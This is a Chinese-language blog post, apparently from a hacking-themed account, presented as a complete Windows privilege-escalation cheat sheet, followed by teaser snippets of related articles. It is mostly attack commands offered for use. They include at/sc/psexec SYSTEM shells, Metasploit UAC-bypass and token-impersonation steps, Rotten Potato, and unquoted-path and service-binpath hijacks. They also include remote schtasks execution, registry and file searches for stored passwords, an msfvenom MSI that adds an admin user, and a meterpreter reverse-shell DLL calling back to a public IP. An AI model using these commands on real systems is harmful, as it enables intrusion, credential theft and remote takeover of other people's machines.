乾貨 | 最全windows提權總結(建議收藏)

2022-01-16 Hacking黑白紅

當以低權用戶進去一個陌生的windows機器後,無論是提權還是後續做什麼,第一步肯定要儘可能的搜集信息。知己知彼,才百戰不殆。

 

常規信息搜集

  systeminfo 查詢系統信息  hostname 主機名  net user 查看用戶信息  netstat -ano|find "3389" 查看服務pid號  wmic os get caption 查看系統名  wmic qfe get Description,HotFixID,InstalledOn 查看補丁信息  wmic product get name,version 查看當前安裝程序  wmic service list brief 查詢本機服務  wmic process list brief 查詢本機進程  net share 查看本機共享列表  netsh firewall show config 查看防火牆配置

常見的殺軟如下:

  360sd.exe 360殺毒  360tray.exe 360實時保護  ZhuDongFangYu.exe 360主動防禦  KSafeTray.exe 金山衛士  SafeDogUpdateCenter.exe 安全狗  McAfee McShield.exe McAfee  egui.exe NOD32  AVP.exe 卡巴斯基  avguard.exe 小紅傘  bdagent.exe BitDefender

要搜集的信息大致如下幾點:

機器的系統及其版本機器的打補丁情況機器安裝的服務機器的防火牆策略配置機器的防護軟體情況

提權簡介

提權可分為縱向提權與橫向提權:縱向提權:低權限角色獲得高權限角色的權限;橫向提權:獲取同級別角色的權限。

Windows常用的提權方法有:系統內核溢出漏洞提權、資料庫提權、錯誤的系統配置提權、組策略首選項提權、WEB中間件漏洞提權、DLL劫持提權、濫用高危權限令牌提權、第三方軟體/服務提權等

1、系統內核溢出漏洞提權

#手工查找補丁情況

systeminfo  #查看補丁wmic qfe get Description,HotFixID,InstalledOn  #查看補丁信息

#MSF後滲透掃描

post/windows/gather/enum_patches

 

利用(Vulmap、Wes、WindowsVulnScan)對比補丁進而進行提權

2、at命令利用

在Windows2000、Windows 2003、Windows XP這三類系統中,我們可以使用at命令將權限提升至system權限。

利用at命令,下面是at命令的百度解釋

 

AT命令是WindowsXP中內置的命令,它也可以媲美Windows中的「計劃任務」,而且在計劃的安排、任務的管理、工作事務的處理方面,AT命令具有更強大更神通的功能。AT命令可在指定時間和日期、在指定計算機上運行命令和程序。

 

因為at命令默認是以system權限下運行的所以我們可以利用以下命令,進行提權。

 

at 時間/interactive cmd  其中裡面的/interactive參數是開啟交互模式

 

 

等待一分鐘後

 

 

可以看到已經啟動了一個system權限下的cmd窗口,雖然此時我們已經有了system的權限,但是可以看到,桌面還是之前用戶的權限所啟動的

 

 

為了完全提權,我們可以在system的cmd裡面輸入taskmgr.exe來啟動任務管理器

 

 

在任務管理器裡面我們結束掉之前由之前帳號開啟的桌面進程

 

 

然後再添加一個由system權限下開啟的桌面進程

 

 

再點入看現在登入的帳號是

 

 

提權成功!

或者利用msf生成木馬在利用at啟動

3、sc命令利用

適用於windows 7/8、03/08、12/16

 

因為at命令在win7,win8等更高版本的系統上都已經取消掉了,所以在一些更高版本的windows作業系統上我們可以用sc命令進行提權,下面是sc的百度解釋。

 

SC命令是XP系統中功能強大的DOS命令,SC命令能與「服務控制器」和已安裝設備進行通訊。SC是用於與服務控制管理器和服務進行通信的命令行程序。

 

通俗理解就是sc可以啟動一個服務,命令如下。

sc Create systemcmd binPath= "cmd /K start" type= own type= interact

其中systemcmd是服務名稱,大家可以隨意填寫,binpath是啟動的命令,type=own是指服務這個服務屬於誰,type=interact。這裡再解釋一下cmd/k start 這個命令,這個命令就是啟動一個新的cmd窗口,如圖。

 

 

我們繼續回車

上面的命令。

 

 

可以看到服務已創建,但是剛創建的服務是默認關閉的,所以我們要開啟這個服務,大家可以用圖形化界面開啟,但是在滲透過程中我們大多數拿到的都是命令行界面,所以這裡我只介紹命令行操作了。

 

敲入sc start systemcmd,即可啟動服務!

 

 

因為sc啟動服務也是默認system權限的,所以我們啟動的cmd窗口也是system權限!接下來的操作就可以和xp,2003一樣了,這裡就不在重複了。

4、psexec提權

適用版本:Win2003 & Win2008

 

微軟官方工具包:https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools

 

提權命令:

psexec.exe -accepteula -s -i -d cmd.exe

開啟的cmd窗口也是system權限

5、 繞過UAC提權

UAC簡介

1.什麼是用戶帳戶控制(UAC)?

Microsoft的Windows Vista和Windows Server2008作業系統引入了一種良好的用戶帳戶控制架構,以防止系統範圍內的意外更改,這種更改是可以預見的,並且只需要很少的操作量。

換句話說,它是Windows的一個安全功能,它支持防止對作業系統進行未經授權的修改,UAC確保僅在管理員授權的情況下進行某些更改。如果管理員不允許更改,則不會執行這些更改,並且Windows系統保持不變。

2.UAC如何運行?

UAC通過阻止程序執行任何涉及有關系統更改/特定任務的任務來運行。除非嘗試執行這些操作的進程以管理員權限運行,否則這些操作將無法運行。如果您以管理員身份運行程序,則它將具有更多權限,因為它將被「提升權限」,而不是以管理員身份運行的程序。

 

UAC不會自動阻止惡意軟體,其目的不是確定程序是否是惡意軟體。這同樣取決於用戶。如果將以管理員權限執行程序,則將提醒用戶並且需要用戶確認。 

 

繞過方法

一般我們通過msf拿到meterprter的會話後,我們可以通過getsystem或者getuid來檢查是否是system權限

 

 

如果不是system權限,我們可以通過以下繞過UAC模塊對UAC進行繞過,在通過getsystem進行提權

#Msfexploit/windows/local/ask      #彈出UAC確認窗口,點擊後獲得system權限exploit/windows/local/bypassuacexploit/windows/local/bypassuac_injectionexploit/windows/local/bypassuac_fodhelperexploit/windows/local/bypassuac_eventvwrexploit/windows/local/bypassuac_comhijack

6、令牌竊取

適用於2008之前版本

 

令牌簡介

描述進程或者線程安全上下文的一個對象。不同的用戶登錄計算機後,都會生成一個AccessToken,這個Token在用戶創建進程或者線程時會被使用,不斷的拷貝,這也就解釋了A用戶創建一個進程而該進程沒有B用戶的權限。一般用戶雙擊運行一個進程都會拷貝explorer.exe的AccessToken。訪問令牌分為:

* 授權令牌(Delegation token):交互式會話登陸(例:本地用戶登陸、用戶桌面等)

*模擬令牌(Impersonation token):非交互式登陸(例:net use 訪問共享文件)

兩種token只有在系統重啟後才會清除;授權令牌在用戶註銷後,該令牌會變為模擬令牌依舊有效。

同樣也可以這樣理解,當前系統中的某個進程或線程能訪問到什麼樣的系統資源,完全取決於你當前進程是拿著誰的令牌。

默認情況下,我們列舉令牌,只能列舉出當前用戶和比當前用戶權限更低用戶的令牌。令牌的數量取決於當前shell的訪問級別,如果當前的shell是administrator或者是system,我們就可以看到系統中的所有的令牌。

攻擊方法

#首先提前獲取一個session

meterpreter > use incognitometerpreter > list_tokens -umeterpreter >impersonate_token WIN-2HU3N1\\Administrator  #注意:這裡是兩個反斜槓\\

7、爛土豆提權

一般爛土豆需要來配合令牌竊取來進行提權

注意(重點:用爛土豆配合本地用戶提權是成功不了的,必須是web權限或資料庫權限)

單純令牌竊取:Web權限或本地權限

配合爛土豆提權:web權限或資料庫等權限

 

爛土豆提權原理

1、欺騙 「NT     AUTHORITY\SYSTEM」帳戶通過NTLM認證到我們控制的TCP終端。

2、對這個認證過程使用中間人攻擊(NTLM重放),為「NT     AUTHORITY\SYSTEM」帳戶本地協商一個安全令牌。這個過程是通過一系列的Windows API調用實現的。

3、模仿這個令牌。只有具有「模仿安全令牌權限」的帳戶才能去模仿別人的令牌。一般大多數的服務型帳戶(IIS、MSSQL等)有這個權限,大多數用戶級的帳戶沒有這個權限。

所以,一般從web拿到的webshell都是IIS伺服器權限,是具有這個模仿權限的。測試過程中,我發現使用已經建好的帳戶(就是上面說的用戶級帳戶)去反彈meterpreter然後再去執行EXP的時候會失敗,但使用菜刀(IIS伺服器權限)反彈meterpreter就會成功。

攻擊方法

meterpreter > upload/root/Rottenpotato/rottenpotato.exemeterpreter > execute -HC -f rottenpotato.exemeterpreter > use incognitometerpreter > list_tokens -u會發現令牌列表裡面存在system的令牌,在用system的令牌進行提權

爛土豆版本

RottonPatato腳本:https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS16-075/potato.exehttps://github.com/breenmachine/RottenPotatoNG/blob/master/RottenPotatoEXE/x64/Release/MSFRottenPotato.exehttps://github.com/foxglovesec/RottenPotato

8、可信任服務路徑漏洞

如果一個服務的可執行文件的路徑沒有被雙引號引起來且包含空格,那麼這個服務就是有漏洞的

 

漏洞原理

這裡假設有一個服務路徑

C:\Program Files (x86)\CommonFiles\Tencent\QQMusic\QQMusicService.exe

帶引號時:"C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe"會被看成一個完整的服務路徑,故不會產生漏洞。

不帶引號時:我們認為的服務路徑是C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe,但是由於沒有雙引號的包裹,Windows會認為C:\Program空格後面的為Program這個程序的參數來進行啟動服務。這樣攻擊者就可以命名一個為Program.exe的後門文件放在c盤下,進而等待含漏洞服務路徑的啟動或重啟導致後門文件的執行。

攻擊方法

#尋找存在漏洞的服務

wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

 

把我們後門文件重命名放在對應的文件路徑下

 

在msf上進行監聽,然後啟動對應服務

 

接收到shell,且是system權限

 

exploit/windows/local/unquoted_service_pathset AutoRunScript migrate -f

9、不安全服務權限配合計劃任務schtasks或SC命令利用

如果攻擊者對以高權限運行的任務所在的目錄具有寫權限,就可以使用覆蓋原來的服務路徑,進而啟動我們的惡意程序。(一般用來administrator提權到system,因為普通用戶用sc修改服務路徑會沒有權限,導致不能用該方法提權。)

accesschk.exe -uwcqv "administrators" *   

sc config "test" binpath="C:\shell.exe"  

 

當然還可以用schtasks來定時啟動服務,schtasks命令比at命令更靈活。而且在WindowsVista、Windows Server 2008及之後版本的作業系統已經棄用at命令。

#查看計算機的計劃任務

schtasks /query /fo LIST /v 

schtasks /create /s 10.10.10.80 /tn test /sc onstart/tr c:\artifact.exe /ru system /f

在遠程主機運行「test」任務

schtasks /run /s 10.10.10.80 /i /tn "test"

 

 執行完成之後就刪除計劃任務

schtasks /delete /s 10.10.10.80 /tn "test"/f

 

 接著刪除IPC$

net use  \\10.10.10.80 /del /y

 

 在使用schtasks命令的時候會在系統留下日誌文件C:WindowsTasksSchedLgU.txt。

 

參數的意思:

/create 表示創建計劃任務/tn  表示任務名/tr  指定運行的文件/sc  是任務運行頻率/st  是執行時間/s  指定遠程機器名或 ip地址/ru 指定運行任務的用戶權限,這裡指定為最高的 SYSTEM/i  表示立即運行/F 表示如果指定的任務已經存在,則強制創建任務並抑制警告/delete  是刪除任務。

10、Unattended Installs(自動安裝)

自動安裝允許程序在不需要管理員關注下自動安裝。這種解決方案用於在擁有較多僱員和時間緊缺的較大型組織中部署程序。如果管理員沒有進行清理的話,那麼會有一個名為Unattend的XML文件殘存在系統上。這個XML文件包含所有在安裝程序過程中的配置,包括一些本地用戶的配置,以及管理員帳戶。

全盤搜索Unattend文件是個好辦法,它通常會在以下一個文件夾中:

 

C:\Windows\Panther\ C:\Windows\Panther\Unattend\ C:\Windows\System32\ C:\Windows\System32\sysprep\

除了Unattend.xml文件外,還要留意系統中的sysprep.xml和sysprep.inf文件,這些文件中都會包含部署作業系統時使用的憑據信息,這些信息可以幫助我們提權。

C:\Users\user\Desktop> dir C:*vnc.ini /s /b /cC:\Users\user\Desktop> dir C:\ /s /b /c | findstr /sr *password*C:\Users\user\Desktop>findstr /si password *.txt | *.xml | *.inireg query HKLM /f password /t REG_SZ /sreg query HKCU /f password /t REG_SZ /s在這些文件中通常包含用戶名和密碼,密碼使用base64編碼,並且在最後會附加」Password」,所以真正的密 碼需要去掉最後的」Password」。

#msf模塊
post/windows/gather/enum_unattend

11、 AlwaysInstallElevated

 

AlwaysInstallElevated 是一種允許非管理用戶以SYSTEM權限運行MicrosoftWindows安裝程序包(.MSI文件)的設置。默認情況下禁用此設置,需系統管理員手動啟用他。

可以通過查詢以下註冊表項來識別此設置:

[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer]「AlwaysInstallElevated」=dword:00000001[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]「AlwaysInstallElevated」=dword:00000001

使用reg query命令查詢是否存在漏洞

C:> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedC:> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

如果系統沒這個漏洞,它將輸出錯誤:

ERROR: The system was unable to find the specifiedregistry key or value.

如果存在漏洞,上面將輸出以下內容:

然後我們使用msfvenom生成msi文件,進行提權

msfvenom -p windows/adduser USER=rottenadminPASS=P@ssword123! -f msi-nouac -o rotten.msimsiexec /quiet /qn /i C:\programdata\rotten.msi

msf下的自動模塊

exploit/windows/local/always_install_elevated

12、DLL劫持提權

原理:Windows程序啟動的時候需要DLL。如果這些DLL不存在,則可以通過在應用程式要查找的位置放置惡意DLL來提權。通常,Windows應用程式有其預定義好的搜索DLL的路徑,它會根據下面的順序進行搜索:

1、應用程式加載的目錄2、C:\Windows\System323、C:\Windows\System4、C:\Windows5、當前工作目錄Current Working Directory,CWD6、在PATH環境變量的目錄(先系統後用戶)過程:信息收集-進程調試-製作dll並上傳-替換dll-啟動應用後成功msfvenom -p windows/meterpreter/reverse_tcplhost=101.37.169.46 lport=6677 -f dll >/opt/test.dll

13、資料庫提權

資料庫提權知識點較多,下次另起篇幅。

推薦閱讀:


相關焦點

  • 【好文推薦】各種提權姿勢總結
    3.cmd執行exp沒回顯的解決方法:com路徑那裡輸入exp路徑C:\RECYCLER\pr.exe,命令那裡清空(包括/c )輸入net user jianmei daxia /add4.有時候因為監控而添加用戶失敗,試試上傳抓取hash的工具,如PwDump7.exe,得到hash之後可以進行破解,建議重定向結果到保存為
  • Windows本地提權工具Juicy Potato測試分析
    Juicy Potato是一款Windows系統的本地提權工具,是在工具RottenPotatoNG的基礎上做了擴展,適用條件更廣。利用的前提是獲得了SeImpersonate或者SeAssignPrimaryToken權限,通常在webshell下使用。那麼,Juicy Potato的使用方法有哪些,有哪些限制條件呢?
  • 對Linux—suid提權的一些總結
    已知的可以用來提權的Linux可執行文件有:CopyNmap、Vim、find、Bash、More、Less、Nano、cp比如常用的ping命令。ping需要發送ICMP報文,而這個操作需要發送Raw Socket。
  • 黑客教程電腦提權基礎小白入門知識!
    這篇文章中我會講Windows上一般提權的方法,並演示如何手動進行提權和其對應的Metasploit模塊。
  • Windows編程技術:提權技術(上)
    本文轉載自【微信公眾號:MicroPest,ID:gh_696c36c5382b】,經微信公眾號授權轉載,如需轉載與原文作者聯繫這裡的提權主要是指令牌權限的提升,下一講將針對UAC提權。AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL);return FALSE;}二、測試程序運行後,出現一DOS窗口,提權成功
  • Kerberos域用戶提權漏洞(MS14-068)分析與防範
    它只需要輸入域名、被提權用戶的密碼、被提權用戶、被提權用戶的SID,域控制器的IP:域成員:mary域名:god.orgmary 的 sid:S-1-5-21-1218902331-運行之後,會在 /root/.msf4/loot 目錄下 生成文件:20201110021544_default_192.168.2.25_windows.kerberos_988070.bin接下來要進行格式轉換
  • 【乾貨】黑客攻防!老司機教你如何提升權限
    本篇文章是對權限提升方法的總結,記錄自己學習和復現的過程。windows溢出提權具體步驟查看系統補丁信息systeminfo尋找可用exphttps://github.com/SecWiki/windows-kernel-exploits
  • [網絡安全] 十九.Metasploit後滲透技術之信息收集和權限提權
    這篇文章將介紹後滲透Meterpreter技術的信息收集和權限提升,結合作者之前的漏洞利用及逆向經驗總結。同時本文主要學習和參考了徐焱老師他們的《Web安全攻防滲透測試實戰指南》,在此感謝。4.Hash攻擊提權四.總結娜璋AI安全之家將專注於Python和安全技術,主要分享Web滲透、系統安全、人工智慧、大數據分析、圖像識別、惡意代碼檢測、CVE復現、威脅情報分析等文章。
  • Linux下利用SUID提權
    今天給大家帶來的是linux下的提權技巧。SUID是Linux的一種權限機制,具有這種權限的文件會在其執行時,使調用者暫時獲得該文件擁有者的權限。
  • 新手擺地攤最全乾貨,想擺地攤創業的趕緊收藏
    前幾天因為溫度持續高溫,大家對擺地攤的欲望不是很強烈,這兩天天氣逐漸轉涼,擺地攤又開始慢慢的活躍起來了,朵姐覺著是時候分享一個擺地攤最全乾貨了,你們趕緊收藏哈,朵姐只分享一遍。1.新手擺地攤最全乾貨——擺地攤的位置啊別管我最重要的就是位置,在你決定賣什麼之前,先去當地的夜、商業街、小區門口讓擺攤的地方多轉轉,看看哪個地方人流量大,看看哪個地方人群適合你的產品定位,找上個幾個地方,換著擺是最好的。
  • 教師資格證作文乾貨,自信主題高分範文,寫作素材總結,建議收藏
    教師資格證作文乾貨,自信主題高分範文,寫作素材總結,建議收藏~【自信主題】一、主題解讀
  • 初中物理:全冊知識點總結,公式歸納與解析,建議收藏好!
    初中物理:全冊知識點總結,公式歸納與解析,建議收藏好!聽同學們說初中物理很難學好?但是小王老師不怎麼認為。對於初中物理學習來說,同學先讓自己對這門科目感興趣,比如說很多學生眼中電學部分的學習最為頭痛,咱們就先克服電學這個難題。
  • 提權篇:溢出漏洞 EXP提權 教程
    1、提權的概念:將系統權限提升到root、 system 或者 administrator。2、網上提權的定義:拿到伺服器權限,並且成功登陸伺服器。但是,我認為這是不準確的,因為很多時候拿到的權限以及登陸伺服器並不是管理員,就是 一個擁有很低權限的普通用戶而已。
  • 最全鋼筋工程知識培訓及鋼筋圖集詳解,乾貨滿滿非常值得收藏
    最全鋼筋工程知識培訓及鋼筋圖集詳解,乾貨滿滿非常值得收藏本資料為鋼筋工程知識培訓及鋼筋圖集詳解(159頁),PPT格式,159頁內容摘要:筏形基礎可分為梁板式筏形基礎和平板式筏形基礎。牆筋偏移過大起步筋距離搞混淆今天分享的這份資料內容總結全面
  • 【健康傾聽日】乾貨!最全心肺復甦搶救流程,請務必收藏!
    【健康傾聽日】乾貨!最全心肺復甦搶救流程,請務必收藏! 青春醫家關注青年,關注健康,讓我們成為最緊密的
  • 備孕技巧,教學乾貨,建議收藏!
    備孕技巧,教學乾貨,建議收藏! 如果你在備孕,相信你肯定想知道多久可以成功懷孕,如何有效率地啪啪啪可以更快造人,今天我們就來說說這個羞羞的話題。這份教學乾貨,建議你收藏:
  • Linux提權的幾種常用方式
    1、內核漏洞提權提起內核漏洞提權就不得不提到髒牛漏洞(Dirty Cow),是存在時間最長且影響範圍最廣的漏洞之一。低權限用戶可以利用該漏洞實現本地提權,同時可以通過該漏洞實現Docker容器逃逸,獲得root權限的shell。
  • 建議收藏 | CS學習筆記合集
    另外在電腦端通過博客閱讀本文體驗最佳,建議收藏本文隨時翻閱查看,可複製下面的連結到瀏覽器、或直接閱讀原文查看本文博客文章,本文博客連結:https://teamssix.com/year/201023-192553.html此合集僅在我的公眾號和博客更新0x01 基礎操作1、介紹第一次接觸CS的時候,是有人在群裡發了一個CS最新版的安裝包,當時第一反應,CS
  • 八年級語文上冊:文言文知識點全總結!非常有針對性,建議收藏好
    八年級語文上冊:文言文知識點全總結!非常有針對性,建議收藏好我們大家都知道,語文一直是一門需要積累掌握的學科,但是這僅限於小學,進入初中後光靠背誦課文就能拿高分是不太現實的。初二是一個關鍵轉折點,所以為了幫助大家,下面老師特地總結了,八年級語文上冊文言文知識點!非常具有針對性,建議收藏好,因為這會對語文成績的提升是很有幫助的。文末有word資料的獲取方式!
  • 八年級語文上冊:文言文知識點全總結!非常有針對性,建議收藏好
    八年級語文上冊:文言文知識點全總結!非常有針對性,建議收藏好我們大家都知道,語文一直是一門需要積累掌握的學科,但是這僅限於小學,進入初中後光靠背誦課文就能拿高分是不太現實的。初二是一個關鍵轉折點,所以為了幫助大家,下面老師特地總結了,八年級語文上冊文言文知識點!非常具有針對性,建議收藏好,因為這會對語文成績的提升是很有幫助的。文末有word資料的獲取方式!word列印版資料獲取如下:1、點擊頭像進入主頁並關注,2、點擊私信回復「666」即可。